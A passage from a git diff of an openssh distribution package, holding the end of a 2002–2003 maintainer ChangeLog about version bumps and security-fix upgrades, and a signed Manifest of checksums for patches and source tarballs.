Oct 2002) + + 19 Jan 2003; Jan Seidel : + Added mips to keywords + + 18 Oct 2002; Daniel Ahlberg openssh-3.5_p1.ebuild: + Version bump, found by fluxbox in bug #9262. + +*openssh-3.4_p1-r3 (04 July 2002) + + 25 Jul 2002; Nicholas Jones openssh-3.4_p1-r3.ebuild: + + Bopped Brandon on the head. Added -passwords to the end of --with-md5 + No version bump as this doesn't affect most people, and those who need it + can just rsync and emerge. + + 09 Jul 2002; Brandon Low openssh-3.4_p1-r3.ebuild: + + New revision enables md5 passwords, please test and let me know how it + goes so I can unmask. Thanks. + +*openssh-3.4_p1-r2 (04 July 2002) + + 09 Jul 2002; phoen][x openssh-3.4_p1-r2.ebuild: + Added KEYWORDS. + + 04 July 2002; Brandon Low openssh-3.4_p1-r2.ebuild: + Fixes problem of /var/empty being removed if immediately do emerge openssh + emerge openssh. Not an urgent upgrade, but recommended. + +*openssh-3.4_p1-r1 (02 July 2002) + + 02 July 2002; Brandon Low openssh-3.4_p1-r1.ebuild: + This closes bugs 4169, 4170, and 4193. This new ebuild changes the sshd + user from whatever it may be to UID 22, this shouldn't mean anything to most + people because no scripts, nor programs use the sshd UID directly (for that + matter it is only referenced during authentication of new logins via ssh). + However if for some reason your system does have things that were owned by + user sshd, you will need to change their UID. + +*openssh-3.4_p1 (26 June 2002) + + 26 June 2002; Brandon Low : + New version closes soon to be released security hole, PLEASE upgrade + immediately according to the changelogs, this new version closes several + possible holes found during a massive audit of the code. + +*openssh-3.3_p1 (22 June 2002) + + 22 June 2002; Donny Davies : + Chase latest release. Starting with this version sshd uses a new privelaged + process separation scheme. See the docs for more info. + +*openssh-3.2.3_p1-1 (5 June 2002) + + 5 June 2002; Gabriele Giorgetti : + New revision. Changes submitted by Alson van der Meulen gentoo@alm.xs4all.nl + within bug #3391 were added. Bug closed/fixed. + +*openssh-3.2.3_p1 (30 May 2002) + + 30 May 2002; Arcady Genkin : + Update to 3.2.3. + +*openssh-3.2.2_p1 (18 May 2002) + + 18 May 2002; Donny Davies : + Chase latest release + update openssl dependency. + +*openssh-3.1_p1-r2 (03 Apr 2002) + + 03 Apr 2002; Daniel Robbins files/sshd.pam: new pam + sshd file to use pam_stack, pam_nologin and pam_shells, as well as use + pam_unix instead of pam_pwdb. Added updated shadow dependency if pam is + enabled (to depend upon our new shadow with the pam_pwdb to pam_unix + conversion). + +*openssh-3.1_p1 (7 Mar 2002) + + 15 Mar 2002; Bruce A. Locke files/sshd.rc6, files/sshd.rc5: + ssh1 keygen requires a new option in the initscripts + + 13 Mar 2002; M.Schlemmer openssh-3.1_p1-r1.ebuild: + Update rc-script not to fail on restart if there is open sessions. + + 7 Mar 2002; F.Meyndert openssh-3.1_p1.ebuild: + Updated openssh to version 3.1 that fixes a nasty off by one bug in all + previous version. That caused a local root hole. + +*openssh-3.0.2_p1-r1 (01 Feb 2002) + + 01 Feb 2002; G.Bevin ChangeLog: + Added initial ChangeLog which should be updated whenever the package is + updated in any way. This changelog is targetted to users. This means that the + comments should well explained and written in clean English. The details about + writing correct changelogs are explained in the skel.ChangeLog file which you + can find in the root directory of the portage repository. diff --git a/net-misc/openssh-x/Manifest b/net-misc/openssh-x/Manifest new file mode 100644 index 00000000..2967b1d5 --- /dev/null +++ b/net-misc/openssh-x/Manifest @@ -0,0 +1,96 @@ +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA256 + +AUX openssh-4.7_p1-GSSAPI-dns.patch 4494 SHA256 88a08f349258d4be5b2faa838a89fe1aa0196502990b745ac0e3a70dda30a0d7 SHA512 4d00a9ed79f66b92502c3e5ee580523f63d7b3643fe1bd330ff97994acce527d4d285d38199cef66eddc0ef68afabf7b268abc60cba871bac5d2e99045d4ac11 WHIRLPOOL 2f118fd2f016c529dbc31e8f2b6b418931e6770ab02c28b7feeaba93e84e7fcd1c742f4420a43a9fec0bdfaa4d4bc7cf14fb860c0a56c68a30e7b136fb60bcdb +AUX openssh-5.2_p1-autoconf.patch 386 SHA256 42bb5f23f02241186abd6158ac15cd1fba0fadb4bd79e6b051fbd05605419ebb SHA512 80a2244e243492d3933646a32fa673078efd72d0e87939b326c2210f23d72675839cfefa2f31617279d51834cc34daf2c3c189c9d92b08875b6b4f68fa7f3844 WHIRLPOOL d4ca3dd8554863d074054489a2dbe5aca3d07fcc5858e908caa5d76dcf8beb661cc3ca6d22a02ab2ca9f504160a6a1acc7f45a4fa775d879b02ee1ae3d113926 +AUX openssh-5.2_p1-gsskex-fix.patch 408 SHA256 8190db31ed2e8dc6ce79030e5c648d04610b06dd8366df5948ef6e990314ee96 SHA512 2022cd25b3e07430752569e07165db313e49a0902ef251df3e50ca96197849be6efbdee360a3a435cae0b5d2dda55acc8676b232d3584f87e204c2fc04b92801 WHIRLPOOL 65da9f3450493ca9a25741e66b2ecf97d7a5576c15485ff3a7c08fc57b06a17b3b6e73b14d2962bf958d9326a6d54c2940f56eb42de4bd5011324bba84c67cca +AUX openssh-5.2_p1-x509-hpn-glue.patch 2851 SHA256 a21336a892b61e29a556d16e9f0a67ee08ad04dd61e3963a201fdf032ce55f75 SHA512 417617acba409539cd2edd59e7640fe732f90265f70d7f4cd91c8b059d44c9c1be63cf336ee3a39a45f1a066bc577e261836b8113296535b9320d77fed3a05bf WHIRLPOOL 901fd8e0ceafd27bd5fdca9007b82842dce2b5aee11c069d0f0229c4568886f0df861c80eb5b3a754a0af795ebb9c78a78a3e76002f17bdbf8349923439deecf +AUX openssh-5.2p1-ldap-stdargs.diff 252 SHA256 97281375efa33e9ce70a55bfa95b6b426208175e7e3ff493012bc25d9b012f45 SHA512 2577b1476211f563bf8a7e62c2341e35cff7208a04b7a3fb1d331721e58f395cdef1ce2ac735b95c31781e06e16ec27c6692df09928393248c971837a1e03079 WHIRLPOOL df65dd54dd12be39fb4b830536f86aef97c086b227de1d87d56788bf8bce39a345da0ed814dd53abdaa5d158c99f0b87cb8510812d10c353a3b8a82493b210af +AUX openssh-5.4_p1-openssl.patch 255 SHA256 f83627039491e9969f1ed5d77fe816465ce75809e8c2f2bfb07012bc21384347 SHA512 8cfd757dbe79ee502c10c5d518730f4e790bd61753120bb168d545dfc702a7a55c274fd9c81d2798ec78cba30f173aaf0bee1f15bb23f9f465c3524a5c81ca2d WHIRLPOOL 852f3e9dc6cd05934b52effa03961a0d989734a28649eb199e1f260d4e8129dffed378d8efdbd40a5f520362fe8fa404a744724135caa39f48e876849cf2350b +AUX openssh-5.6_p1-hpn-progressmeter.patch 334 SHA256 eaa98f954934364a1994111f5a422d0730b6e224822cef03efe6d6fc0c7f056f SHA512 46eb5253549ddca045e67841daa092a8a33a6ae4411e75c301589f0a88159c6d2ccfe45c2f0502314465b93ac6f1965264a9b92b13e0e88d4ff15ced5f4ebfeb WHIRLPOOL 72b05e4243e746fc315468ac1dc8988b92919dbd147470855b8753e0ae37ad3696de6c9ec29346596aee2d60acbbcce79cea5735b9a91b3452a4b4f3f69d3012 +AUX openssh-5.6_p1-x509-hpn-glue.patch 1974 SHA256 164db7af08e0565821d6d609b1beadab39777521bfff143a83acc1e097ad60f1 SHA512 a764d8411f0b7c49d6f51b25153c18648d58dfbc82897903bad826293f3497010ab0343e4a4cc81b37e51c3a28ec04cd5be7c8882126295ba2b38e734e262995 WHIRLPOOL 4a8151dde306eace1404b8e83dc2514cb8f073acb6c759b9a2a9e619181951873afad785f565861f6d1031d9314f8d450faef63629dfd5f1b0074cb78b059578 +AUX openssh-5.7_p1-x509-hpn-glue.patch 1888 SHA256 30f63dea0e810d92790ddaf9813f0b8dec1e827a39e1752faff6bb41382f3c1b SHA512 db839f3cf3c67ef28290551810dc5c8937d1ef401f48ed937165b57191e75944adb25ab36cbf30289f7fc0076ec192c030e40fb5a744c63932b414e49b99946a WHIRLPOOL 2e539c49ef613e2a9912011ac289036381f8fd8d8ff5f2e0088dd3443a1c7fd86c3efe2b2041736bf67b73c8b4b298208de183945dc68c73ad6f35c41fb8a619 +AUX openssh-5.8_p1-selinux.patch 433 SHA256 0de250c75f4dae78406e5151f563bd104b8e7792a825515510e095fb47462cfd SHA512 e6c89eb26b4bc651503ab81d346e780fdec3056302c5e2d8a6be5892fa514f83093370c463aae88091dc20d30013fd32250e040649147797bcca69ddc7d05ae3 WHIRLPOOL f72ccd773b9ff7a897940afddcb38ba9512e0830c33a2381886d2698e0ae0c6a7db9678326945bdf6769acc21d3e4bf8a196161114805d4570af2819e610df84 +AUX openssh-5.8_p1-x509-hpn-glue.patch 1907 SHA256 7ab452c02b141645b764d404aa3de0754ab240a64601a6bb587919673f957682 SHA512 317c04fab93aaf82685e54335c876b2399623ef69428297c2e5934d45f69f0e78a89c79ad7bb186ef12a779ebf0f088ca142d6a426baeb32b166ceca8098572d WHIRLPOOL 34fdef826750070d112dc6c1bf84de11ebfa646fb5cbfb9f76d13dab925cff94996ed51cfdcba4e0b536915883bb4728756b79db157c019ba951ee1a32c18fe3 +AUX openssh-5.9_p1-drop-openssl-check.patch 848 SHA256 89b011e27548b9922deed63ed57a6c94ea8013bb3bfb4d6590ba43d284a2ab86 SHA512 bbcbb61b6fea194e7ee3862a5b462d48ce4cf4fec12cc8a8564fc5fc8f840dca2b4ddf301bf9d12bcbfd3922948023320ea660a8c194d57bf2b1e9d095fc8eb2 WHIRLPOOL dc8e140d2bfe59546b944236ebcc702cd4a19ed5c6ee24d590bb0d50221069666b3797cf1717e6090d12525b3310cd963537e4c2c413bb2692ec85dcb2d33b43 +AUX openssh-5.9_p1-sshd-gssapi-multihomed.patch 6622 SHA256 f5ae8419023d9e5f64c4273e43d60664d0079b5888ed999496038f295852e0ae SHA512 ffa45e97e585c8624792e039e7571b2bb5f38e4554de8bfc1d532f3348fa4a712ea1b6ca054e6a59ed1321a15cf1a9d3bdf3f399cec315346db89bae77abf57d WHIRLPOOL cc4871e3fb91a8075a13b5e49d7d3e0e83106bae0820ae3cf19d3427aad3d701b8f25b2cc2cc881a6315f8e5114fb82da9ca335acccb24afe221d66574fb7685 +AUX openssh-5.9_p1-x509-glue.patch 569 SHA256 579ef6409878cea36828057a82a37232ba230af0acb58438f020c284f06a6510 SHA512 534697c03837c8a6084348245722b8730b2547d0e2adca274077fcac295e13e8f2d8ae4cd788fc1c58824fc7b591e731e02d43873fdbe5f20ca1a87fa3060886 WHIRLPOOL 9dd0de494ba2c4a2dc1577e48ae8a63d95c794981ce1aa8d8f0d7fe464e489763f9af042ebecb6428c70cce56ae0b5ca93904669403bd9cc0e61e34989b82462 +AUX openssh-6.0_p1-fix-freebsd-compilation.patch 546 SHA256 4cee4d0b68a847b7686309ddc92f86fc36254d6e864682225143a28fc91e6187 SHA512 f9b783f76212ded27181b0a5ab8b4efc999a9960a020de54f109dad01a3e49b126a9c59da2286e565717f9e68991d2275e0872d54406f2c56a37d4dd439d92e4 WHIRLPOOL d0307e8e2a464914c9f4b2c790d72ff94eddc776986f0a847e04abede59feb6339bd256fe3dc831b362cb8e7f4e3cdb763a5c3c834f1fd7c32e4325cfb91ce63 +AUX openssh-6.0_p1-hpn-progressmeter.patch 379 SHA256 fb38d9d16132fcc16fb2648bce21e2260fb5cadf0ae2e2a7849638aeb79d3dc7 SHA512 4885f49f38c8a3afdef2ba63f324601214810aef8bbac89c926edca9edc8998f49f5060f1070ee0278ef7cdcdd7329a9b9fa37d1466e32cd2dc81edcdee50f51 WHIRLPOOL f73843d69f9aacea93a965eafecd16a037dae996d879d4b755831413321e3ed1e3e3167eff716a4ae836698b4e51c740bbfcca48033cb1dd4353f8599296272e +AUX openssh-6.0_p1-test.patch 780 SHA256 c5893911cec3eecf84dc13bddbefbe1e1053db11e65a909b5f28eacbdd88a29c SHA512 733ee29c64f2469678ca0a4056332d43179cfe73d7efdd0c3c4b24da75baa74b7661e5039bd6fdbb0a375ae5ad5b60353c715946bb59d477ea0c5efaf70b1697 WHIRLPOOL a98055e2634eea3421dc2117a19e0548dae9b4705f7681e45bd4f33e3782f2ec22097de7f7ed4507d1ba5ed983d10499b786347688fadb6e803d20ea86bd7a02 +AUX openssh-6.0_p1-x509-glue.patch 569 SHA256 8c9048a33036a93f56e254cfd53b18313682d466deadfdcd8937a46793617900 SHA512 ad0c0cc7745a80dcc59e671f98608c0bdadf276449352615e738fe7f2e740e0f68713320c48b88b3b4565fd7e1f1a5653a0965e247bec68011c4eff72a9ffece WHIRLPOOL dde2aa90d6a19aeae8b6ad9586a10ac6b9c0e7b9e30f3e1d511bf7b938a299c75cc5771c8bc22ce6b6582ca7ea4804e545c463546580eacbcd38fa664841add1 +AUX openssh-6.0_p1-x509-hpn-glue.patch 1774 SHA256 b2dcff21652eea92d2ff2640a568070a944e7bfb2bd3217c433e6383a64b0970 SHA512 82793502b8c943f0bd69019ea1cf1172f9579dc6a8f6c91f6aba9a9d743384d5ac84f7a49df07165e252b4ef4fc06b745463bdc58d06da2aca3c7acbb3dd8623 WHIRLPOOL ffd01827dbf8162359cf7a278020f2bfa7ed1ee1051774522623bcf448ffc8a3e28ecff2de5733b352beef5722a9dec2e9bb25fabc7edca615a774f65f756246 +AUX openssh-6.1_p1-x509-glue.patch 573 SHA256 e51aa53e9e0336606fc36af237d50338347b845ee56a66d01f86829c4b46feb6 SHA512 bac2971b6435433d6ac88fb127c178e678fe805f51260454d9d0b631ef52dbafc08343fb307a74a116691545a82f5369dc014e71a7c8c65ba41699b31e1dfb6f WHIRLPOOL dd514ce502f7c7968e8fa526b1b2f7d7945f2d5b5f1f013e54f7513a7c7bf6025dbdeabe566958018db8f7442c9611f7efd435501b4b965b0fe7594e24ee20fc +AUX openssh-6.1_p1-x509-hpn-glue.patch 1491 SHA256 28c5000f7c8b23afc363d066cf96d39c00882274f227b7743b1e376df8b61a2e SHA512 0d6bab08cc400b81d936883bf39f5a461799874f6ea3dcf55c083372ed379bc0066b913646f7a0e32167079ba85409c272b258de179d55660739df4bbbf30e5b WHIRLPOOL dbfbf8eb0312ae119421e45efd8243b089ab2d3c2bc1f7b7cbd5b56f86844dfe42b27952e4ed88653679ec036f70b8edd3e00f17ae097241fbc88567bab38505 +AUX sshd.confd 396 SHA256 29c6d57ac3ec6018cadc6ba6cd9b90c9ed46e20049b970fdcc68ee2481a2ee41 SHA512 b9ae816af54a55e134a9307e376f05367b815f1b3fd545c2a2c312d18aedcf907f413e8bad8db980cdd9aad4011a72a79e1e94594f69500939a9cb46287f2f81 WHIRLPOOL 69f43e6192e009a4663d130f7e40ee8b13c6eb9cc7d960b5e0e22f5d477649c88806a9d219efef211f4346582c2bb51e40d230a8191e5953dbe08bfff976ae53 +AUX sshd.pam 294 SHA256 f01cc51c624b21a815fb6c0be35edc590e2e6f8a5ffbdcabc220a9630517972f SHA512 3268dc826978fbb205968744d83c6f1c838c9c73bf9c4ceee709c5b4168b4aaf06bcde47a32808571fa71cbc5a6bfdb98406995b2b28c9e633ce392a53932d64 WHIRLPOOL fff8966d66d75cd4d70607585b5de063f225a776b73b8b0f8146c5eed6c8ffd2ca38c46f86fa4e2ca8caafcde7797a3f0b177e60baa6fa0642064080883fa68a +AUX sshd.pam_include.2 156 SHA256 166136e27d653e0bf481a6ca79fecb7d9fa2fc3d597d041f97df595f65a8193c SHA512 d3f7e6ca8c9f2b5060ebccb259316bb59c9a7e158e8ef9466765a20db263a4043a590811f1a3ab072b718dbd70898bc69b77e0b19603d7f394b5ac1bd0a4a56c WHIRLPOOL ba7a0a8c3bb39c5fda69de34b822a19696398e0a8789211ac1faae787ee34f9639eb35efe29c67f874b5f9fe674742503e570f441c005974f4a0c93468b8970b +AUX sshd.rc6 2189 SHA256 627125378ccfdd81289531f527346980da249d35499cb71518f88f1452f4c098 SHA512 b2981a6dd9b83a21c718bb4dbfe88a0f1157bc764d1795291a381e380b40141719e5e5cf0cbd89845e81a7e9b0b4fdf938a55ff80ae4b5cac1969189aefa2b1d WHIRLPOOL 136497f366686ae25d78b11c17d4f9235d8980a8a147b380c00c281adaa91940f82a709b7da312736608e3b3ce3a2dbca465a2010f27e9562389de98be5885cf +AUX sshd.rc6.1 2270 SHA256 153119116208d328c496d29b7cb9f85991df93020cc50c83b05ed498b10a2126 SHA512 80f0e460ad7ffd9a6fb279ce2d307cbda1f7352745ffaca381867f636ae64df336a03de0da15aca39619acdbebf41e2ccbd2bb233433f93625754965aaaab780 WHIRLPOOL 6b7a4519282fe99fc36cd0f89f6163ad9c8c9d998b15e84d3758af607627db48cf58ffee1bc4291ac0e7f75455f8f8873cd5d996f3c75f1ea3bef0b249abdffe +AUX sshd.rc6.2 2069 SHA256 94b1fc0d608464fd4a6c7ed23f0b9c44aada3404982d8fd25b8bfe202baffaa6 SHA512 f75f95e6cf912b8c45f7ccf81e764805a56057368b18425abe699b29c3c66d32ea5b2d1c9f6fadf97487430e703e01dc2d965e41b8511f31a3e06d3bcbbc1006 WHIRLPOOL b9082ba3854e1842e057717b9a1571ba5ac6bf69c5facb391b7a3d890b13f879d7ae1484eafbbffc17746c3a8184f23e4c3fa831f678eabdea7d23e2c0d1bf63 +AUX sshd.rc6.3 2057 SHA256 43d95b495440ed6b3c1eb82b81712d7f6e58246527605c11d733cb5eb5523254 SHA512 3ddcdeae6c7f4755df1f8fe77d9d1af8c728f8cc18da0feaeccc4b8147f86b4db1ab1bf4ad362c31fac986270b21fe2c80e0414d64f70bfdac2370e22c2c9db2 WHIRLPOOL 57a18d85ab77abe64eddf852975481d974bd68b0b058d854a31158aed14b1706743ad563aa013c770aa124533fb5344bc64d0c06b564e1b53e28e1b0ebe463e8 +AUX sshd.service 206 SHA256 093d4f526e740cbec46ad6a69207407daf01e74da44599d75b979f294c9b0a7b SHA512 67d96a63a6bc874bacc2f43b51c003f2209a4d2283f8435ba3495266e4823d73962fd995f46eab0e8b260107b9a8c416709b2f19e8e94ecea30ddd8280444cfe WHIRLPOOL b48005444104583bd230e68f870a1d0c4a8709f5e8f7fafa45becf259df64052b1938853e8e232b32aae882dbad83d5c78d7796eafb6c02bd0196f7a6a44075f +AUX sshd.socket 136 SHA256 c055abcd10c5d372119cbc3708661ddffccdee7a1de1282559c54d03e2f109d9 SHA512 4d31d373b7bdae917dc0cf05418c71d4743e98e354aefcf055f88f55c9c644a5a0e0e605dbb8372c1b98d17c0ea1c8c0fee27d38ab8dbe23c7e420a6a78c6d42 WHIRLPOOL 102d87b708c31e5994e8005437c78b1aa756c6def4ee9ae2fa9be1438f328fc28c9152a4ff2528941be18f1311594490ecd98b66716ec74e970aa3725a98e2e5 +AUX sshd_at.service 176 SHA256 332f5ffc30456fe2494095c2aabd1e6e02075ce224e2d49708ac7ccf6d341998 SHA512 662a9c2668902633e6dbcb9435ac35bec3e224afdb2ab6a1df908618536ae9fc1958ba1d611e146c01fddb0c8f41eefdc26de78f45b7f165b1d6b2ee2f23be2a WHIRLPOOL aeb32351380dd674ef7a2e7b537f43116c189f7fddb8bdb8b2c109e9f62b0a73cc0f29f2d46270e658ab6409b8d3671ce9e0d0ba7c0d3674c2f85291a73e6df1 +DIST openssh-5.4p1-hpn13v7-x509variant.diff.gz 22941 SHA256 c2b1a81c6952ae73cc4dfd1528d560588c45cf1242ea8b0e6eadb0cc83b50377 SHA512 12410d69c8c2484aeabd8598604c26c7ba3a594f85feeebda2290b9091b058840613c791e4eabcf8605682ff78c7cc03cb8ac7294156c2f8ed64f34dc10e4271 WHIRLPOOL 5a2a1bb540ca390f6e75cfb8e24f043e1f18c9b48b03c2c9429f5e75606c39dd596e63dc31821e4b6a4559a7f782024113365c1647a611eb3395ecf723461a5f +DIST openssh-5.5p1+x509-6.2.3.diff.gz 156737 SHA256 a2fdf904c21036fe6ee89da7572a37f4763ef414348f9a953c7c7e0fb3562a7f SHA512 9b1e327f298b44064ca212e3dd051a6631126719dbe34af3fa7e42026bc00a747f6476a6bd8c90fa54e08e8d6958f163e8403945bc3c51225555e6ab549297f9 WHIRLPOOL c9a8b04fd01d0487b031d4864cd3da16feafa39d103f21cafe838c1f70dedca00c01f0184bbead230a1875fbbfe8e4bac2ec3d03d01ea58cbf413cd6ea5e6548 +DIST openssh-5.5p1-hpn13v9.diff.gz 22657 SHA256 0556ad75cbd29cba71263a5b7ddc44c03d17c09297a6c41a16d39d3549e5079c SHA512 14c98066a5d822d61b4beadecd6ed097e66aa725933748c324450752c50e834f1b48a4e44be6e74aab58a12c80596fae4299e455094751684e540b86620c451a WHIRLPOOL 38bc75f094f3f8f45b81a707d4ee06a3a0e2e0647ba1e87508765867c4bb50e5b9e88a1e41a48a89ee79d3e390874a2d6fab96f310dbad736c98604c4bc0805c +DIST openssh-5.5p1.tar.gz 1097574 SHA256 36eedd6efe6663186ed23573488670f9b02e34744694e94a9f869b6f25e47e8a SHA512 548c0c552c63498c4d424940161cb504b88c6872d2d8514c09100856656ce1f5d59adc378307a306bb86254032a24ad69bc9794695893c453fee625062ba615c WHIRLPOOL fef34167b71ff2c8cf67506cfe8d9caf63c830933ca77674fd6b244b96da6221d14838d6e67884020c627cdc01cc913965b1ba9ec0ce415e76131fc1edde62db +DIST openssh-5.6p1+x509-6.2.3.diff.gz 168109 SHA256 90977eded2ae5e71bc3b84aad8597442074742d78d471087d020e58dd58342ad SHA512 029b3e1ae8d7e01b17cbbb4d01c0798e5857dc2f144b4e7a5c70f65fe8de605d29a9ac29f4a26d0495f1abbfed24bafd7ac211bc550f558a0adf64a64415bca9 WHIRLPOOL 53a8b66857e45358a0d973dd1f9884ead1f41d3b2794e0bc6f78bdda33507ae2da3cf6f51d53470159e00992042b2ef3d67a8fb71ceef658c386732e3e88f709 +DIST openssh-5.6p1-hpn13v10.diff.gz 22988 SHA256 6a9ee815e8ffcc9068c3dce4ad4f2898fc0db6b768a3152280aceb8c06c8b450 SHA512 d752f6fc924c8b390a58bffea877f4e8a98eb93dac07ba749d3ccef1de4ee75f5116c186ab18d093ef0ae0d63e4f435cf41a1c1a9bd85cd1d0e8be90e060ebc2 WHIRLPOOL b7f4e8f35698510c7fdbd01d7d656e75bba715d3c2cc31eb7fc54d4158b4a346e17be3d1e2f6b7642c7e0a12d8996ccdf217a1856062c88d43a4e4f62f25f412 +DIST openssh-5.6p1.tar.gz 1117952 SHA256 538af53b2b8162c21a293bb004ae2bdb141abd250f61b4cea55244749f3c6c2b SHA512 81bcb84244524c8046f977f35d1dba40b29324033db7590e3439494812038d1e2c1f7082c64488f0f7838f80b7fbbe133b95675ee23aa66a5d036a28a7882c97 WHIRLPOOL d6c8126b08d4287d2b846a7669cb7b7cb361ce5cab9719df30f243ecc04de5657572165bf2165a8d65d79c0464e91385ffa45ef30cba3bf4047dc6ce3580a317 +DIST openssh-5.7p1+x509-6.2.4.diff.gz 170001 SHA256 86af445d27be112318e95c4a188593b171a34b100e2187ef12a116c95e36c51d SHA512 a60e9c13829fbf8e2c3cf805d6de6c12fe7d3e77b0e889f56f08d0edc2e89b911ddd763f6660c193465dfb220c8f48d29257a068b69a0659b7e177739a0bd8c6 WHIRLPOOL d4b9012905117d034d2dbdf16342fc17c0e5f8326b2fa49244aa341746c382925608527d75ad6dbaaafc9a0d0083a9742b422d897363ab9f7a91a4269d6b4c1c +DIST openssh-5.7p1-hpn13v10.diff.bz2 20132 SHA256 fc6518ea065841cec96a503207bd6f927c65234862ec13a44c3c13cb978bfa57 SHA512 20fde13375f123ca17d8faa5ed384cfd241695d606beba26f68ae966d6db6e551376d29e54b8221e918668e01995829c9217d3c835d005ebd5723000c2e54cb8 WHIRLPOOL 6a4fba0f711297b06c44449461797f3c0604de093b2a079aecaf59a2aa9cecdfdeb3c6bdec13138fdc4ffb5e7f64114e2669af89756d54a225730ad4415eb1f2 +DIST openssh-5.7p1.tar.gz 1113345 SHA256 59057d727d902d8b04b2ce0ba8f288c6e02cb65aca183cc8d559a4a66426581b SHA512 9a4b8a96b96d9593159d3ee8fc2a2a0ede60efb795c9c92b3110ec193b1fdcab2a63eef546efb1e4a3045c9095f6de9e40fee669d2e1b30d562acb840dd069f4 WHIRLPOOL 3384ddfc34b36299d379e24f6c1e238b88d2599f820e8b14baa9d24e5ddd2883caf0c1a43650844511de4c790e4d439d763d2b26b9c622b168016a5b02c801e8 +DIST openssh-5.8p1+x509-6.2.4.diff.gz 170014 SHA256 029fce2cabb1a387b9f5784631dec0ee866e4e44ce34c819e1055c7c4a184744 SHA512 b648fcf55933adc73ac5efa0292e68cc74a491d1c7988ede9e07c882b024ac366330aca67766f4812e4ed49c7f79ff9bdcf32ff950ac3467d181657bbb9c1443 WHIRLPOOL 62641d0d0a745993a5f70082a4d682a3e82b274b2deb9ae1295397dda95296bd5a2033f5830060803430f17ded7bca6f7ab4930633ddeb92523a4b10c3721e81 +DIST openssh-5.8p1-hpn13v10.diff.bz2 20120 SHA256 24b4c0372f96262d0b162dff056d21212befe6a8fd8dddde88206aecdd85e11e SHA512 f83e43a581dec02804f5b900c956b301daa426687017e27a466b7ef6e38cfa02b1a1babeef79d891f437cc2ca032c07bb0c06c16d28115c88bf82af86815fbc1 WHIRLPOOL c31e28c348e58bedb180c1660545e6fcd2ada50c237c7178049912239ff04b2526478a869c255da8a16d5b824a1a5a7d313e2a1fb670d794102b55d1356d8e8d +DIST openssh-5.8p1-hpn13v11.diff.gz 22993 SHA256 62b500d29d8889ce76c8b596eb65731d8ac3469d89d9c6eb29fec2a845159df7 SHA512 6e3ff1d0758881fb72ac05673161288fa81757d6126c8fcaefe43994bd176240bec64945dee39d23b6b2d0d0fcd78aea4de4cff395570d3acd9a6171825e00ba WHIRLPOOL 4ed3e2605c9ab4c7b83af615c65b984ba03904ff1140901bbe4a79fa19039b090b0e847093a50c8274aebd2f96b2309aa123c4ac6637b3ed1b65007dff9bf430 +DIST openssh-5.8p1.tar.gz 1113798 SHA256 e1c77a8f3562a5e779c59d64ab14a336c160a56db924eaf82b124ac0b6b1323b SHA512 efa2b27c9a59852e2ef17c54c85305432bc0ee444da4918ded0b7811d06ebd701f89c07598bce6c4bb6287bfe451dd67e2d86ff53769b9014c34fddd6e254f41 WHIRLPOOL 167d25f0519dd51ba912107e922f5e668bf5d2a82db7b2171732851de5fe077ce9290d23361ec0c085c651cb60c8aa4e23abfc10289a2fc87f622a5a3e3bf98d +DIST openssh-5.8p2.tar.gz 1115475 SHA256 5c35ec7c966ce05cc4497ac59c0b54a556e55ae7368165cc8c4129694654f314 SHA512 cad3b92e2e5494d1cff25753913f8fd27041cb1083e2cb8d14faaed7e4d818a98a6c3038d48aa38c6b09caeec90589f12742549ca84d3355c316eed6642b5180 WHIRLPOOL 2515b6d0ca9c126a4ec9f12e280d458ff83d42acf9eef77791863d4d9d219a84a66cdb6546afc6c8cbb3f5a761d6c43f93d7757d10e12e5f67a143c4f04793f8 +DIST openssh-5.9p1+x509-7.0.diff.gz 181263 SHA256 a28e2535ecbf95deeef682682e7551459cc494bbc1c4ccb89be93cfe826d76ca SHA512 5f6e2be10ce8cf26fffcb782824f59c1f1ca0fa271800e162685ce74d1aac6d9035cfdacc87d3f859d3538bc0b22438a701dfc3c8108a130e6e4b7fdd36e6b16 WHIRLPOOL 00f92e2e235da11a87b30dc49e1a469a781482ea53ddf99fb892ec3796b9a68f62234c0ed72f2a3330f7af90f3afcdc90e2574b6ab5955ec6e64c13b75ab5e89 +DIST openssh-5.9p1-hpn13v11.diff.gz 21971 SHA256 6a47a9e57f87385cac9a380b0b1649b73532afaf40c15f62e9236427c84e7aae SHA512 6f7ae144ff61b4ec7913dc94c7ed9550cfcd30336e3bbfafc6c875c99cf0c90cd7f8ce89d530f2861b9bda95433d591673136ba5a31310226207f787257da3be WHIRLPOOL fe4d9f515e5c51b159b0aa51b01840003de443c2f3e8eca90b657d54f490273d1ba98dbabe2cf3a104edaa0971cae5f5f8c739691310822493f8f2705c01465d +DIST openssh-5.9p1.tar.gz 1110014 SHA256 8d3e8b6b6ff04b525a6dfa6fdeb6a99043ccf6c3310cc32eba84c939b07777d5 SHA512 ccf13e3cb11489f9f7e4788f93ffae1f2c39d48819f0e9cd9197842abc922173d2c3c1ad1a87a2acf4497d67cb9edd48416098388fa33fc0b8e09456b1be7e2f WHIRLPOOL 2e8bd89fd14954a232602a912845ed29a08ca40637f8863fed675b19d18944125ecdbf292c45cf5c297584df6c3131ae4fd3c6bc62595dfebb3831120ea21cd1 +DIST openssh-6.0p1+x509-7.1.diff.gz 200986 SHA256 c11e3837704a24393353fe264d61ffea8c1f23c0cb5b8261866c25677930768b SHA512 f45e16a21955546829c70bbad67a6af2cdf60fc6019d34c8563c3c328ffc477d1b31c3443ce032e7ff29d027979ecade476679d33c40961ac4ba65f96dac4b7f WHIRLPOOL 120063e566d721c233ea02cdf2ea114b7f707248962c126dd9def5377188283bb9da58a32a2d49453f4c37ad7a975e03bcdf106a28a0cb7e655eacc7c3f965c1 +DIST openssh-6.0p1-hpn13v11.diff.bz2 19979 SHA256 a096f6ee6dfddb3996b5e7b806ece2a7709c8cce6560eb026c28d3fb56f71ee9 SHA512 2805ddac19a5c4962e6a57d9a6efd3f17ebac82ee2b6a7eed60521a4fd23468d4be7f67e59562120fb21e1efa7ab9213be5d8ab8e3ff6fb9c2ccd6d6989f460f WHIRLPOOL a588288d0b3a64a8414bf1061055dbf41b8370e59fd89ab6cdc2fc7b93046b467aefb9f9196a65f96bda395db38e3841e1ad781341919829de0d9d8d2a220df1 +DIST openssh-6.0p1-hpn13v12.diff.gz 20223 SHA256 b6158c10fac153dd2a9f5d9b29df1e4db17a91f84f100b99526655317d9bf4c0 SHA512 d5decf82bfdbdcdcea974b3a8d990929908077851a3a8c122bda37e439e19e69973a371ac46683840263ec3c85fb2393a70183786f94b2afaff6577209f202c2 WHIRLPOOL 